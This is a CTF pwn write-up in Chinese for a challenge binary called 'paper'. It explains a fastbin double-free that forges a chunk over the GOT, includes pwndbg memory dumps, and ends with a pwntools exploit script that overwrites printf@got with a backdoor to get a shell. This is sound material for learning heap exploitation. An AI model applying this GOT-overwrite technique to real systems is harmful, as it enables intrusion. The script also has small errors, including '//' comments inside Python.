xuanxuan : https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/02/paper/

Write_Some_Paper

申请不同的编号有影响吗????

怎么getshell呢?

​ 首先是获取任意或者受限制的地址读写的能力,然后修改关键函数等,比如修改got表,把函数地址替换成system或者后门函数地址,然后再执行的时候就getshell了

怎么实现地址写?

​ 利用double free,可以操控堆块的fd,从而实现把任意地址当作bin来进行申请空间,这样就获得了该地址的读写能力

double free

1
2
3
4
5
6
7
8
9
add(0,40,"h")
add(1,40,"h")
delete(0)
delete(1)
delete(0) //double free了
add(2,40,p64(0x60203a))//这个需要填入覆盖地址了
add(3,40,"bbb")
add(3,40,"bbb") // 这一步后,会把fd(p64(0x60203a)) 放到fastbin的头部,下一次会申请到这里
add(4,40,"\x40\x00\x00\x00\x00\x00"+p64(ELF.symbols['gg'])) //此时申请的就是第一次add时填入的fd地址

申请堆块时的地址约束

​ 即size字段需要是fastbin这个链的大小,即目标地址的前8个字节需要满足,64位下这8个字节只要低4个字节满足就可以了。所以通过这种方式,我们可以控制的内存是需要满足一定约束的内存。也可以称这种满足要求的内存部分为伪堆块。获得这种内存有两种方式:

  1. 寻找是否有天然满足伪堆块的约束的内存
  2. 想办法构造伪堆块

8字节prev_size 随意 , 8字节size(64位下前4字节满足大小,如0x40大小),要覆盖的fd(要修改的内存地址)

要找到覆盖的函数,

1
2
3
4
5
6
7
8
9
pwndbg> x/16gx 0x602000
0x602000: 0x0000000000601e28 0x00007ffff7ffe168
0x602010: 0x00007ffff7dee0b0 0x00007ffff7a91a70
0x602020: 0x00007ffff7a7d5d0 0x00007ffff7a7c0e0
0x602030: 0x0000000000400746 0x0000000000400756
0x602040: 0x00007ffff7a637b0 0x00007ffff7a2e740
0x602050: 0x0000000000400786 0x00007ffff7a493b0
0x602060: 0x00007ffff7a91550 0x00007ffff7a7ddb0
0x602070: 0x00007ffff7a79480 0x00000000004007d6

这几个地方都可以作为size

image-20230307155602238

1
2
3
4
5
6
7
8
9
10
11
12
13
0x602000:	0x28	0x1e	0x60	0x00	0x00	0x00	0x00	0x00
0x602008: 0x68 0xe1 0xff 0xf7 0xff 0x7f 0x00 0x00
0x602010: 0xb0 0xe0 0xde 0xf7 0xff 0x7f 0x00 0x00
0x602018 <free@got.plt>: 0x70 0x1a 0xa9 0xf7 0xff 0x7f 0x00 0x00
0x602020 <puts@got.plt>: 0xd0 0xd5 0xa7 0xf7 0xff 0x7f 0x00 0x00
0x602028 <fread@got.plt>: 0xe0 0xc0 0xa7 0xf7 0xff 0x7f 0x00 0x00
0x602030 <__stack_chk_fail@got.plt>: 0x46 0x07 0x40 0x00 0x00 0x00 0x00 0x00
0x602038 <system@got.plt>: 0x56 0x07 0x40 0x00 0x00 0x00 0x00 0x00
0x602040 <printf@got.plt>: 0xb0 0x37 0xa6 0xf7 0xff 0x7f 0x00 0x00
0x602048 <__libc_start_main@got.plt>: 0x40 0xe7 0xa2 0xf7 0xff 0x7f 0x00 0x00
0x602050 <__gmon_start__@got.plt>: 0x86 0x07 0x40 0x00 0x00 0x00 0x00 0x00
0x602058 <strtol@got.plt>: 0xb0 0x93 0xa4 0xf7 0xff 0x7f 0x00 0x00
0x602060 <malloc@got.plt>: 0x50 0x15 0xa9 0xf7

根据这个来选择申请的堆块的大小

​ 注意大小端的问题,这里选取这里作为伪造的chunk的size,然后后面是可控的数据,注意不要把system破坏了,然后把printf修改成后们地址即可

image-20230411214141077

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context.log_level= "debug"

io = process("./paper")
elf = ELF("./paper")

def add(num,length,context):
io.sendlineafter("delete paper","1")
io.sendlineafter("(0-9):",str(num))
io.sendlineafter("enter",str(length))
io.sendlineafter("content",context)
def delete(index):
io.sendlineafter("delete paper","2")
io.sendlineafter("(0-9):",str(index))

add(0,40,"h")
add(1,40,"h")
delete(0)
delete(1)
delete(0)
add(2,40,p64(0x60203a))//这个需要填入覆盖地址了
add(3,40,"bbb")
add(3,40,"bbb")
add(4,40,"\x40\x00\x00\x00\x00\x00"+p64(ELF.symbols['gg']))

io.recv(1024)
io.sendline("a")

io.interactive()
#io.recv(1024)